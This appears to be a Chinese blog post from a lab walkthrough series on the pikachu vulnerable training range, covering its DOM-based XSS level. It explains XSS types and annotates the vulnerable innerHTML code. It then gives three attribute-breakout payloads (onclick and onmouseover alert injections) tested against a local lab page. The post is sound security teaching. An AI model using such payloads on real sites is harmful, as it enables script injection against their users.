当前位置: 首页 > web >正文

pikachu靶场通关笔记08 XSS关卡04-DOM型XSS

目录

一、XSS原理

二、DOM型XSS

三、源码分析

1、进入靶场

2、XSS探测

3、源码分析

四、渗透实战

1、Payload1

2、Payload2

3、Payload3


本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风险的真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡 04-DOM 型XSS的渗透部分。

一、XSS原理

XSS(Cross - Site Scripting) 跨站脚本攻击是一种常见的Web安全风险,因其高危害性位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。

类型原理数据交互危害
反射型 XSS攻击者诱使用户点击含恶意脚本的链接,服务器将脚本反射回浏览器执行URL 参数传入恶意脚本,服务器原样返回泄露用户敏感信息,如登录凭证、个人资料等;篡改页面内容,误导用户操作
存储型 XSS恶意脚本被存储在服务器端,用户访问相关页面时执行恶意脚本提交到服务器并存储,用户访问页面时服务器返回含脚本内容影响范围广,所有访问该页面的用户都会受到攻击;可进行大规模的信息窃取、会话劫持
DOM 型 XSS攻击者通过构造恶意输入,利用页面 JS 修改 DOM 结构注入脚本,不涉及服务器处理在页面表单输入恶意脚本,页面 JS 处理输入时触发破坏页面的正常显示和功能;可能导致用户在不知情的情况下执行危险操作

二、DOM型XSS

DOM 型 XSS(Document Object Model Cross-Site Scripting)是一种基于浏览器文档对象模型(DOM)的跨站脚本攻击类型。与反射型和存储型 XSS 不同,DOM 型 XSS 攻击不依赖服务器端响应数据,而是利用网页中 JavaScript 对 DOM 的不当操作来实现。
攻击者通过精心构造 URL 或诱导用户输入恶意数据,使得网页中的 JavaScript 代码在处理数据并修改 DOM 结构时,将恶意脚本作为合法内容插入到页面中。当浏览器解析并执行这些恶意脚本时,就会触发攻击,如窃取用户 Cookie、劫持会话等。由于攻击发生在客户端浏览器,且不涉及服务器数据存储和直接响应,其检测和防御相对复杂,需要开发者对前端代码中的 DOM 操作进行严格的安全审查和输入验证 。

分类DOM型XSS
存储位置不经过服务器,恶意代码存在于URL片段(#后)或前端输入
触发方式前端JavaScript动态操作DOM时执行
攻击场景单页应用(SPA)、动态网页、依赖前端路由的Web应用
危害范围执行恶意脚本的用户
攻击特点绕过服务端检测(WAF无效),纯前端风险
防御措施安全的DOM操作(如textContent替代innerHTML)、前端输入验证、CSP策略
修复难度中(需全面检查前端代码)

三、源码分析

1、进入靶场

进入pikachu靶场XSS系列关系的04关-DOM型XSS页面,打开后发现是一个留言板,如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom.php

2、XSS探测

输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。

​​​​​​​'"<>?&ljn20241019

测试 发现输入和输出有区别,

3、源码分析

查看DOM型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字what,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出

这段代码存在DOM型 XSS风险,具体的源码经过详细注释后如下所示。

<div id="xssd_main"><script>function domxss(){// 获取用户输入(未经过滤)var str = document.getElementById("text").value;// 直接拼接用户输入到HTML中(高危操作)document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}// 攻击者可尝试的Payload示例:// 1. '><img src="#" onmouseover="alert('xss')">  → 闭合标签并插入恶意图片// 2. ' onclick="alert('xss')">                → 闭合标签并添加点击事件</script><!-- 用户输入框 --><input id="text" name="text" type="text" value="" /><!-- 触发DOM操作的按钮 --><input id="button" type="button" value="click me!" onclick="domxss()" /><!-- 动态内容插入区域(XSS触发点) --><div id="dom"></div>
</div>

分析可知本关卡通过 getElementById 获取到了标签 Id 为 text的内容赋值给str.然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中。产生XSS风险的关键代码如下所示。

function domxss(){var str = document.getElementById("text").value; // 获取用户输入document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; // 直接拼接HTML
}

XSS的根源在于不可信数据未经验证直接插入DOM,这个处理逻辑如下所示。

1)我们通过 <input id=“text” name=“text” type=“text” value="" / > 将字符串赋值给text然后JavaScript 
var str = document.getElementById(“text”).value; 获取到了text的值
2)然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > ";
把这个text字符串整合到a这个标签中的href里再把a标签写入到dom这个标签中。
3)最后< div id=“dom” >< /div > 执行这个dom标签

XSS原理如下所示。

XSS类型DOM型XSS
触发条件用户输入直接拼接到innerHTML,未经过滤或编码
攻击方式通过闭合标签(如'>)注入恶意HTML/JS代码
危害窃取Cookie、钓鱼攻击、页面篡改

XSS成因与示例如下所示。

问题环节具体风险攻击示例
未过滤用户输入用户控制的str直接拼接到innerHTML输入'><img src="#" onmouseover="alert('xss')">
危险API使用innerHTML会解析HTML/JS代码(非安全文本插入)输入' onclick="alert('xss')"> 闭合标签并注入事件
缺乏输出编码未对用户输入的" ' < >等字符转义输入javascript:alert(1) 可构造恶意链

    四、渗透实战

    <a href='"+str+"'>what do you see?</a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    闭合后:<a href='#' οnclick="alert("ljn")">'>what do you see?</a>

    点击click me后,下方生成链接,点击链接后,弹框ljn

    分析:右键元素-点击查看器-Ctrl+F搜索关键字what

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

    闭合后:<a href οnclick="alert('ljn')"> >'what do you see?</a>

    3、Payload3

    payload2: '><img src="#" οnmοuseοver="alert('ljn')">

     '><img src="#" onmouseover="alert('ljn')">

    闭合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a>

    http://www.xdnf.cn/news/9798.html

    相关文章:

  • uniapp 开发企业微信小程序时,如何在当前页面真正销毁前或者关闭小程序前调用一个api接口
  • 华为OD机试真题——Boss的收入(分销网络提成计算)(2025A卷:100分)Java/python/JavaScript/C/C++/GO最佳实现
  • Hive自定义函数案例(UDF、UDAF、UDTF)
  • kafka学习笔记(三、消费者Consumer使用教程——从指定位置消费)
  • PostgreSQL数据库配置SSL操作说明书
  • Java互联网大厂面试:从Spring Boot到Kafka的技术深度探索
  • ai工具集:AI材料星ppt生成,让你的演示更出彩
  • Codeforces Round 1025 (Div. 2)
  • springcloud openfeign 请求报错 java.net.UnknownHostException:
  • 小型语言模型:为何“小”才是“大”?
  • 【Python】3.函数与列表
  • RFID测温芯片助力新能源产业安全与能效提升
  • C++容器进阶:深入解析unordered_map与unordered_set的前世今生
  • python打卡day39
  • 【机器学习基础】机器学习入门核心算法:K均值(K-Means)
  • Spring Boot测试框架全面解析
  • 甘特图 dhtmlxGantt.js UA实例
  • SpringMVC核心原理与前后端数据交互机制详解
  • MultipartEntityBuilder上传文件解决中文名乱码
  • openEuler安装MySql8(tar包模式)
  • 阿里通义实验室突破空间音频新纪元!OmniAudio让360°全景视频“声”临其境
  • 核心知识点:惯性导航(Inertial Navigation)
  • 【python深度学习】Day 39 图像数据与显存
  • 在 Ubuntu 服务器上 下载 Clash 文件使用代理
  • Opencv实用操作5 图像腐蚀膨胀
  • 将 Figma 设计稿通过编码一比一还原成 App 界面
  • 远程调用 | OpenFeign+LoadBalanced的使用
  • LocalResolver使用
  • 2025年全国青少年信息素养大赛 scratch图形化编程挑战赛 小低组初赛 内部集训模拟题解析
  • Python使用MD5码加密手机号等敏感信息